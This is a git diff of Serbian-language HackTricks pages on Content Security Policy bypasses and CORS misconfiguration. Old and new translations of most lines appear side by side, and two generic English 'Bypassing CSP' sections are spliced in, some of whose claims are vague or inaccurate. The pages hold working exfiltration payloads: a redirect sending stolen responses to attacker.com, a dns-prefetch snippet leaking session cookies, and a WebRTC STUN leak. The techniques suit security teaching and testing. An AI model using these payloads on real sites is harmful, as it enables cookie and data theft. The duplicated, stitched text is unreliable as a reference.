Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstrahujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server sa `Content-Security-Policy-Report-Only`.
Za primer [**proverite ovaj CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -611,7 +603,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
* Kreira se `iframe` koji pokazuje ka URL-u (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
* Taj URL zatim preusmerava ka tajnom URL-u (npr. `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
* Slušanjem događaja `securitypolicyviolation`, moguće je uhvatiti svojstvo `blockedURI`. Ovo svojstvo otkriva domen blokiranog URI-ja, otkrivajući tajni domen ka kojem je prvobitni URL preusmeren.
* Slušanjem događaja `securitypolicyviolation`, moguće je uhvatiti svojstvo `blockedURI`. Ovo svojstvo otkriva domen blokiranog URI-ja, otkrivajući tajni domen ka kojem je početni URL preusmeren.
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različito ponašanje u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog otkrivanja osetljivih informacija zbog nedefinisanog ponašanja.
@ -619,7 +611,7 @@ Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajn
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Prateći koje zahteve CSP blokira ili dozvoljava, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno punu URL adresu.
Prateći koje zahteve CSP blokira ili dozvoljava, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno kompletan URL.
Oba metoda iskorišćavaju nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako se naizgled sigurne politike mogu nenamerno otkriti osetljive informacije.
@ -635,16 +627,16 @@ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa dinamičnim svetom hakovanja putem vesti i uvida u realnom vremenu
**Najnovije najave**\
**Poslednje najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
## Nesigurne tehnologije za zaobilaženje CSP-a
### Preopterećenje PHP odgovora baferom
### Preopterećenje bafera odgovora PHP-om
PHP je poznat po **baferovanju odgovora do 4096** bajtova po podrazumevanim podešavanjima. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP zaglavlja**, što dovodi do ignorisanja zaglavlja.\
PHP je poznat po **preopterećenju odgovora do 4096** bajtova po podrazumevanim podešavanjima. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP zaglavlja**, što dovodi do ignorisanja zaglavlja.\
Zatim, tehnika se uglavnom sastoji u **popunjavanju bafera odgovora upozorenjima** kako bi CSP zaglavlje bilo poslato.
Ideja sa [**ovog writeupa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -660,22 +652,22 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način, **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
Osim toga, **wordpress** ima **JSONP** krajnju tačku u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **reflektovati** **podatke** poslate u izlazu (sa ograničenjem samo slova, brojeva i tačaka).
Štaviše, **wordpress** ima **JSONP** krajnju tačku u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **reflektovati** **podatke** poslate u izlazu (sa ograničenjem samo slova, brojeva i tačaka).
Napadač može zloupotrebiti tu krajnju tačku da bi **izveo SOME napad** na WordPress i **ugradio** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` obratite pažnju da će se ovaj **skript** **učitati** jer je **dozvoljen od strane 'self'**. Osim toga, i zbog toga što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** da bi dao više privilegija korisniku, instalirao novi dodatak...\
Napadač može zloupotrebiti tu krajnju tačku da bi **izveo SOME napad** na WordPress i **ugradio** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` obratite pažnju da će se ovaj **skript** **učitati** jer je **dozvoljen od strane 'self'**. Štaviše, i zbog toga što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** da bi dao više privilegija korisniku, instalirao novi dodatak...\
Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Bypass-ovi CSP eksfiltracije
Ako postoji strogi CSP koji vam ne dozvoljava da **interaktujete sa spoljnim serverima**, postoje neke stvari koje uvek možete uraditi da eksfiltrirate informacije.
### Lokacija
### Location
Jednostavno možete ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:
```javascript
@ -691,9 +683,9 @@ Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće p
### DNS Prefetch
Da biste učitali stranice brže, pretraživači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
Možete navesti pretraživač da unapred rešava ime hosta sa: `<link reol="dns-prefetch" href="something.com">`
Možete naznačiti pretraživaču da unapred rešava ime hosta sa: `<link reol="dns-prefetch" href="something.com">`
Možete zloupotrebiti ovu ponašanje da **eksfiltrirate osetljive informacije putem DNS zahteva**:
Možete zloupotrebiti ovu funkciju da **eksfiltrirate osetljive informacije putem DNS zahteva**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
@ -705,30 +697,26 @@ body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessi
### Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, it is possible to bypass CSP protections using various techniques.
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, CSP can be misconfigured or not implemented properly, leading to potential security vulnerabilities.
### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This keyword allows the execution of inline scripts and styles, which are otherwise blocked by CSP. By injecting malicious code inline, an attacker can bypass CSP protections.
One common way to bypass CSP is by using the `unsafe-inline` keyword in the `script-src` directive. This allows the execution of inline JavaScript code, which is normally blocked by CSP to prevent XSS attacks. By including `unsafe-inline` in the CSP header, an attacker can inject and execute arbitrary JavaScript code on the vulnerable website.
### Bypassing CSP using Data URI
Another way to bypass CSP is by using Data URI. Data URIs allow embedding small files directly into the HTML or CSS code. By encoding the malicious script or style into a Data URI format, an attacker can bypass CSP restrictions on external resources.
### Bypassing CSP using Trusted Types
Trusted Types is a browser feature that helps prevent DOM-based XSS attacks by enforcing a strong policy for dynamic code execution. However, in some cases, it is possible to bypass CSP protections by exploiting vulnerabilities in the implementation of Trusted Types.
Another technique to bypass CSP is by using Data Uniform Resource Identifiers (URIs). Data URIs allow embedding small files directly into the HTML or CSS code, including JavaScript code. By using Data URIs, an attacker can bypass CSP restrictions and execute malicious code on the target website.
### Conclusion
While Content Security Policy is a powerful tool for enhancing web application security, it is essential to understand the potential bypass techniques to ensure robust protection against code injection attacks. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities in web applications.
Content Security Policy is a powerful security mechanism that can help protect websites from various types of attacks. However, it is essential to configure CSP correctly to avoid misconfigurations that could be exploited by attackers to bypass security controls. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities before they can be leveraged by malicious actors.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Da biste sprečili da se ovo desi, server može poslati HTTP zaglavlje:
Da biste izbegli da se ovo desi, server može poslati HTTP zaglavlje:
```
X-DNS-Prefetch-Control: off
```
@ -740,33 +728,11 @@ Očigledno, ova tehnika ne funkcioniše u headless pregledačima (botovima)
Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.
Zapravo, možete _procuriti_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
Zapravo, možete _procureti_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
## Bypassing Content Security Policy (CSP)
---
### Introduction
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it can be bypassed using various techniques.
### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP.
### Bypassing CSP using data: URI
Another technique to bypass CSP is by using `data:` URIs to embed external resources inline. This can be used to execute scripts or load styles from external sources, bypassing the CSP restrictions.
### Bypassing CSP using loopholes
There are also various loopholes and misconfigurations that can be exploited to bypass CSP. These include bypassing CSP using JSONP endpoints, abusing browser extensions, and exploiting browser quirks.
### Conclusion
While Content Security Policy is a powerful security measure, it is not foolproof. It is important for security professionals to be aware of the potential bypass techniques in order to better secure web applications against attacks.
Druga opcija:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -803,14 +769,14 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Hakerski uvidi**\
**Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
**Poslednje najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!

View file

@ -16,34 +16,34 @@ Drugi načini podrške HackTricks-u:
## Šta je CORS?
Cross-Origin Resource Sharing (CORS) standard **omogućava serverima da definišu ko može pristupiti njihovim resursima** i **koje HTTP metode zahteva su dozvoljene** sa eksternih izvora.
Standard za deljenje resursa između različitih izvora (CORS) **omogućava serverima da definišu ko može pristupiti njihovim resursima** i **koje HTTP metode zahteva su dozvoljene** sa eksternih izvora.
Politika **iste origin** zahteva da **server koji zahteva** resurs i server koji **hostuje resurs** dele isti protokol (npr. `http://`), ime domena (npr. `internal-web.com`), i **port** (npr. 80). Prema ovoj politici, samo veb stranice sa istog domena i porta imaju dozvoljen pristup resursima.
Politika **isti izvor** zahteva da **server koji zahteva** resurs i server koji **hostuje resurs** dele isti protokol (npr. `http://`), ime domena (npr. `internal-web.com`), i **port** (npr. 80). Prema ovoj politici, samo veb stranice sa istog domena i porta imaju dozvoljen pristup resursima.
Primenjena politika iste origin u kontekstu `http://normal-website.com/example/example.html` je ilustrovana na sledeći način:
Primenjena politika istog izvora u kontekstu `http://normal-website.com/example/example.html` je prikazana na sledeći način:
| URL pristupa | Dozvoljen pristup? |
| URL pristupljenoj | Dozvoljen pristup? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Da: Identican protokol, domen i port |
| `http://normal-website.com/example2/` | Da: Identican protokol, domen i port |
| `https://normal-website.com/example/` | Ne: Razlicit protokol i port |
| `http://en.normal-website.com/example/` | Ne: Razlicit domen |
| `http://www.normal-website.com/example/` | Ne: Razlicit domen |
| `http://normal-website.com:8080/example/` | Ne: Razlicit port\* |
| `https://normal-website.com/example/` | Ne: Različit protokol i port |
| `http://en.normal-website.com/example/` | Ne: Različit domen |
| `http://www.normal-website.com/example/` | Ne: Različit domen |
| `http://normal-website.com:8080/example/` | Ne: Različit port\* |
\*Internet Explorer zanemaruje broj porta prilikom sprovođenja politike iste origin, što omogućava ovaj pristup.
\*Internet Explorer zanemaruje broj porta prilikom sprovođenja politike istog izvora, što omogućava ovaj pristup.
### `Access-Control-Allow-Origin` Zaglavlje
Ovo zaglavlje može dozvoliti **više origin-a**, vrednost **`null`**, ili wildcard **`*`**. Međutim, **nijedan pregledač ne podržava više origin-a**, a upotreba wildcard `*` je podložna **ograničenjima**. (Wildcard se mora koristiti sam, i njegova upotreba zajedno sa `Access-Control-Allow-Credentials: true` nije dozvoljena.)
Ovo zaglavlje može dozvoliti **više izvora**, vrednost **`null`**, ili wildcard **`*`**. Međutim, **nijedan pregledač ne podržava više izvora**, a upotreba wildcard `*` je podložna **ograničenjima**. (Wildcard se mora koristiti sam, i njegova upotreba zajedno sa `Access-Control-Allow-Credentials: true` nije dozvoljena.)
Ovo zaglavlje je **izdato od strane servera** kao odgovor na zahtev za resursom sa različitog domena pokrenutog sa veb sajta, pri čemu pregledač automatski dodaje `Origin` zaglavlje.
### `Access-Control-Allow-Credentials` Zaglavlje
Podrazumevano, zahtevi sa različitih origin-a se ve bez kredencijala poput kolačića ili Authorization zaglavlja. Ipak, server sa različitog domena može dozvoliti čitanje odgovora kada se kredencijali šalju postavljanjem `Access-Control-Allow-Credentials` zaglavlja na **`true`**.
Podrazumevano, zahtevi sa različitih izvora se prave bez kredencijala poput kolačića ili Authorization zaglavlja. Ipak, server sa različitog domena može dozvoliti čitanje odgovora kada se kredencijali šalju postavljanjem `Access-Control-Allow-Credentials` zaglavlja na **`true`**.
Ako je postavljeno na `true`, pregledač će prenositi kredencijale (kolačiće, Authorization zaglavlja, ili TLS klijentske sertifikate).
Ako je postavljeno na `true`, pregledač će prenositi kredencijale (kolačiće, autorizaciona zaglavlja, ili TLS klijentske sertifikate).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -76,9 +76,9 @@ xhr.send('<person><name>Arun</name></person>');
Prilikom pokretanja zahteva između domena pod određenim uslovima, kao što je korišćenje **ne-standardne HTTP metode** (bilo koja osim HEAD, GET, POST), uvođenje novih **zaglavlja**, ili korišćenje specijalne vrednosti zaglavlja **Content-Type**, može biti potreban pre-flight zahtev. Ovaj preliminarni zahtev, koristeći metodu **`OPTIONS`**, služi da obavesti server o namerama nadolazećeg zahteva iz drugog izvora, uključujući HTTP metode i zaglavlja koja namerava da koristi.
Protokol **Cross-Origin Resource Sharing (CORS)** nalaže ovu proveru pre-flight zahteva kako bi se utvrdila izvodljivost zahtevane operacije između domena proverom dozvoljenih metoda, zaglavlja i poverljivosti porekla. Za detaljnije razumevanje uslova koji zaobilaze potrebu za pre-flight zahtevom, pogledajte sveobuhvatni vodič koji pruža [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Protokol **Cross-Origin Resource Sharing (CORS)** nalaže ovu proveru pre-flight zahteva kako bi se utvrdila izvodljivost zahtevane operacije iz drugog izvora proverom dozvoljenih metoda, zaglavlja i poverljivosti porekla. Za detaljnije razumevanje uslova koji zaobilaze potrebu za pre-flight zahtevom, pogledajte sveobuhvatni vodič koji pruža [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Važno je napomenuti da **odsustvo pre-flight zahteva ne ukida zahtev da odgovor nosi autorizaciona zaglavlja**. Bez ovih zaglavlja, pregledač je nesposoban da obradi odgovor iz zahteva iz drugog izvora.
Važno je napomenuti da **odsustvo pre-flight zahteva ne ukida potrebu da odgovor nosi autorizaciona zaglavlja**. Bez ovih zaglavlja, pregledač je nesposoban da obradi odgovor iz zahteva iz drugog izvora.
Razmotrite sledeću ilustraciju pre-flight zahteva koji ima za cilj korišćenje metode `PUT` zajedno sa prilagođenim zaglavljem nazvanim `Special-Request-Header`:
```
@ -101,20 +101,20 @@ Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Ovaj zaglavlje specificira koje zaglavlja mogu biti korišćena tokom stvarnog zahteva. Postavlja ga server da bi označio dozvoljena zaglavlja u zahtevima od klijenta.
* **`Access-Control-Expose-Headers`**: Putem ovog zaglavlja, server obaveštava klijenta o tome koja zaglavlja mogu biti izložena kao deo odgovora pored jednostavnih zaglavlja odgovora.
* **`Access-Control-Max-Age`**: Ovo zaglavlje označava koliko dugo se rezultati pre-flight zahteva mogu keširati. Server postavlja maksimalno vreme, u sekundama, koje informacije vraćene pre-flight zahtevom mogu biti ponovo korišćene.
* **`Access-Control-Max-Age`**: Ovo zaglavlje pokazuje koliko dugo se rezultati pre-flight zahteva mogu keširati. Server postavlja maksimalno vreme, u sekundama, koje informacije vraćene pre-flight zahtevom mogu biti ponovo korišćene.
* **`Access-Control-Request-Headers`**: Korišćeno u pre-flight zahtevima, ovo zaglavlje postavlja klijent da obavesti server o tome koje HTTP zaglavlja klijent želi koristiti u stvarnom zahtevu.
* **`Access-Control-Request-Method`**: Ovo zaglavlje, takođe korišćeno u pre-flight zahtevima, postavlja klijent da označi koji HTTP metod će biti korišćen u stvarnom zahtevu.
* **`Origin`**: Ovo zaglavlje automatski postavlja pregledač i označava poreklo cross-origin zahteva. Koristi ga server da proceni da li dolazni zahtev treba da bude dozvoljen ili odbijen na osnovu CORS politike.
* **`Origin`**: Ovo zaglavlje automatski postavlja pregledač i označava poreklo prekograničnog zahteva. Koristi ga server da proceni da li dolazni zahtev treba da bude dozvoljen ili odbijen na osnovu CORS politike.
Napomena da obično (zavisno od content-type i postavljenih zaglavlja) u **GET/POST zahtevu nije poslat pre-flight zahtev** (zahtev je poslat **direktno**), ali ako želite da pristupite **zaglavljima/telu odgovora**, mora sadržati _Access-Control-Allow-Origin_ zaglavlje koje to dozvoljava.\
Napomena da obično (zavisno od tipa sadržaja i postavljenih zaglavlja) u **GET/POST zahtevu nije poslat pre-flight zahtev** (zahtev je poslat **direktno**), ali ako želite da pristupite **zaglavljima/telu odgovora**, mora sadržati zaglavlje _Access-Control-Allow-Origin_ koje to dozvoljava.\
**Stoga, CORS ne štiti od CSRF (ali može biti korisno).**
### **Pre-flight zahtevi lokalne mreže**
### **Pre-flight zahtevi za lokalnu mrežu**
1. **`Access-Control-Request-Local-Network`**: Ovo zaglavlje je uključeno u zahtev klijenta da označi da je upit usmeren ka resursu lokalne mreže. Služi kao marker da obavesti server da zahtev potiče iz lokalne mreže.
2. **`Access-Control-Allow-Local-Network`**: Kao odgovor, serveri koriste ovo zaglavlje da komuniciraju da je traženi resurs dozvoljen da se deli sa entitetima van lokalne mreže. Deluje kao zeleno svetlo za deljenje resursa preko različitih granica mreže, osiguravajući kontrolisan pristup uz održavanje sigurnosnih protokola.
1. **`Access-Control-Request-Local-Network`**: Ovo zaglavlje je uključeno u zahtev klijenta da označi da je upit usmeren ka resursu lokalne mreže. Služi kao marker da obavesti server da zahtev potiče iz unutar lokalne mreže.
2. **`Access-Control-Allow-Local-Network`**: Kao odgovor, serveri koriste ovo zaglavlje da komuniciraju da je traženi resurs dozvoljen da se deli sa entitetima van lokalne mreže. Deluje kao zeleno svetlo za deljenje resursa preko različitih granica mreže, osiguravajući kontrolisan pristup dok se održavaju sigurnosni protokoli.
**Validan odgovor koji dozvoljava zahtev lokalne mreže** takođe mora imati u odgovoru zaglavlje `Access-Controls-Allow-Local_network: true`:
**Validan odgovor koji dozvoljava zahtev lokalne mreže** takođe mora u odgovoru imati zaglavlje `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
@ -126,22 +126,22 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Imajte na umu da IP adresa **0.0.0.0** u linuxu radi za **zaobilaženje** ovih zahteva kako bi se pristupilo lokalnom računaru jer se ta IP adresa ne smatra "lokalnom".
Imajte na umu da IP adresa **0.0.0.0** u linuxu može da se koristi za **zaobilazak** ovih zahteva kako bi se pristupilo lokalnom računaru jer se ta IP adresa ne smatra "lokalnom".
Takođe je moguće **zaobići zahteve lokalne mreže** ako koristite **javnu IP adresu lokalnog krajnjeg uređaja** (kao što je javna IP adresa rutera). Jer u nekoliko slučajeva, čak i ako se pristupa **javnoj IP adresi**, ako je to **iz lokalne mreže**, pristup će biti odobren.
{% endhint %}
## Iskorišćive loše konfiguracije
Primećeno je da je postavljanje `Access-Control-Allow-Credentials` na **`true`** preduslov za većinu **pravih napada**. Ovo podešavanje omogućava pregledaču da šalje akreditive i čita odgovor, poboljšavajući efikasnost napada. Bez toga, korist od toga što se pregledač natera da izda zahtev umesto da to uradi sam, opada, jer postaje neizvodljivo iskorišćavanje kolačića korisnika.
Primećeno je da je postavljanje `Access-Control-Allow-Credentials` na **`true`** preduslov za većinu **pravih napada**. Ovo podešavanje omogućava pregledaču da šalje akreditive i čita odgovor, povećavajući efikasnost napada. Bez ovoga, korist od toga što se pregledač natera da izda zahtev umesto da to uradi sam, opada, jer postaje neizvodljivo iskorišćavanje kolačića korisnika.
### Izuzetak: Iskorišćavanje Lokacije Mreže kao Autentikacije
Postoji izuzetak gde lokacija mreže žrtve deluje kao oblik autentikacije. Ovo omogućava da se pregledač žrtve koristi kao proxy, zaobilazeći autentikaciju zasnovanu na IP adresi kako bi se pristupilo unutrašnjim aplikacijama. Ovaj metod deli sličnosti u uticaju sa DNS prevezivanjem ali je jednostavniji za iskorišćavanje.
Postoji izuzetak gde lokacija mreže žrtve deluje kao oblik autentikacije. Ovo omogućava da se pregledač žrtve koristi kao proxy, zaobilazeći autentikaciju zasnovanu na IP adresi kako bi se pristupilo unutrašnjim aplikacijama. Ovaj metod deli sličnosti sa DNS prevezivanjem ali je jednostavniji za iskorišćavanje.
### Refleksija `Origin` u `Access-Control-Allow-Origin`
Realni scenario gde se vrednost zaglavlja `Origin` reflektuje u `Access-Control-Allow-Origin` je teorijski malo verovatan zbog ograničenja u kombinovanju ovih zaglavlja. Međutim, programeri koji žele omogućiti CORS za više URL-ova mogu dinamički generisati zaglavlje `Access-Control-Allow-Origin` kopirajući vrednost zaglavlja `Origin`. Ovaj pristup može uneti ranjivosti, posebno kada napadač koristi domen sa imenom koje je dizajnirano da izgleda legitimno, čime obmanjuje logiku validacije.
Realni scenario gde se vrednost zaglavlja `Origin` reflektuje u `Access-Control-Allow-Origin` je teorijski neizvodljiv zbog ograničenja u kombinovanju ovih zaglavlja. Međutim, programeri koji žele omogućiti CORS za više URL-ova mogu dinamički generisati zaglavlje `Access-Control-Allow-Origin` kopirajući vrednost zaglavlja `Origin`. Ovaj pristup može uneti ranjivosti, posebno kada napadač koristi domen sa imenom koje je dizajnirano da izgleda legitimno, čime obmanjuje logiku validacije.
```html
<script>
var req = new XMLHttpRequest();
@ -184,11 +184,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Tehnike za zaobilaženje redovnih izraza
Prilikom susretanja sa belom listom domena, ključno je testirati mogućnosti zaobilaženja, poput dodavanja napadačevog domena na belu listu domena ili iskorišćavanja ranjivosti preuzimanja poddomena. Dodatno, redovni izrazi korišćeni za validaciju domena mogu zanemariti nijanse u konvencijama imenovanja domena, pružajući dodatne mogućnosti zaobilaženja.
Kada se susretnete sa belom listom domena, ključno je testirati mogućnosti zaobilaženja, poput dodavanja napadačevog domena na belu listu domena ili iskorišćavanja ranjivosti preuzimanja poddomena. Dodatno, redovni izrazi korišćeni za validaciju domena mogu zanemariti nijanse u konvencijama imenovanja domena, pružajući dalje mogućnosti zaobilaženja.
### Napredne tehnike zaobilaženja redovnih izraza
Obično se regex obrasci koncentrišu na alfanumeričke, tačka (.), i crtica (-) karaktere, zanemarujući druge mogućnosti. Na primer, ime domena kreirano da uključuje karaktere koji se drugačije tumače od strane pretraživača i regex obrazaca može zaobići provere bezbednosti. Način na koji Safari, Chrome i Firefox obrađuju donje crte u poddomenima ilustruje kako se takve razlike mogu iskoristiti za zaobilaženje logike validacije domena.
Obično se regex obrasci koncentrišu na alfanumeričke, tačka (.), i crtica (-) karaktere, zanemarujući druge mogućnosti. Na primer, ime domena kreirano da uključi karaktere koji se drugačije tumače od strane pregledača i regex obrazaca može zaobići provere bezbednosti. Način na koji Safari, Chrome i Firefox obrađuju donje crte u poddomenima ilustruje kako se takve razlike mogu iskoristiti za zaobilaženje logike validacije domena.
**Za više informacija i podešavanja ovog provere zaobilaženja:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@ -196,9 +196,9 @@ Obično se regex obrasci koncentrišu na alfanumeričke, tačka (.), i crtica (-
### Iz XSS unutar poddomena
Razvojni programeri često implementiraju odbrambene mehanizme kako bi se zaštitili od CORS eksploatacije putem bele liste domena koji su dozvoljeni da zahtevaju informacije. Uprkos ovim merama opreza, sigurnost sistema nije neprobojna. Prisustvo čak i jednog ranjivog poddomena unutar belih listiranih domena može otvoriti vrata CORS eksploataciji putem drugih ranjivosti, poput XSS (Cross-Site Scripting).
Razvojni programeri često implementiraju odbrambene mehanizme kako bi se zaštitili od CORS eksploatacije putem beleženja domena koji su ovlašćeni da zahtevaju informacije. Uprkos ovim merama opreza, sigurnost sistema nije neprobojna. Prisustvo čak i jednog ranjivog poddomena unutar belih listiranih domena može otvoriti vrata CORS eksploataciji putem drugih ranjivosti, poput XSS (Cross-Site Scripting).
Kako bi se ilustrovalo, razmotrite scenario gde je domen `requester.com` dodat na belu listu za pristup resursima sa drugog domena, `provider.com`. Konfiguracija na serverskoj strani može izgledati nešto ovako:
Na primer, razmotrite scenarijo gde je domen `requester.com` na beloj listi za pristup resursima sa drugog domena, `provider.com`. Konfiguracija na serverskoj strani može izgledati nešto ovako:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -206,13 +206,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
U ovom postavci, svim poddomenima `requester.com` je dozvoljen pristup. Međutim, ako je poddomen, recimo `sub.requester.com`, kompromitovan XSS ranjivošću, napadač može iskoristiti ovu slabost. Na primer, napadač sa pristupom `sub.requester.com` može iskoristiti XSS ranjivost da zaobiđe CORS politike i zlonamerno pristupi resursima na `provider.com`.
U ovom postavci, svi poddomeni `requester.com` imaju dozvoljen pristup. Međutim, ako je poddomen, recimo `sub.requester.com`, kompromitovan XSS ranjivošću, napadač može iskoristiti ovu slabost. Na primer, napadač koji ima pristup `sub.requester.com` može iskoristiti XSS ranjivost da zaobiđe CORS politike i zlonamerno pristupi resursima na `provider.com`.
### **Trovanje keša na serverskoj strani**
[**Iz ovog istraživanja**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Moguće je da se eksploatiše trovanje keša na serverskoj strani putem ubacivanja HTTP zaglavlja, čime se može izazvati XSS ranjivost sačuvana na serveru. Ovaj scenario se odvija kada aplikacija ne očisti `Origin` zaglavlje od nelegalnih karaktera, stvarajući ranjivost posebno za korisnike Internet Explorera i Edge-a. Ovi pregledači tretiraju (0x0d) kao legitimni terminator HTTP zaglavlja, što dovodi do ranjivosti ubacivanja HTTP zaglavlja.
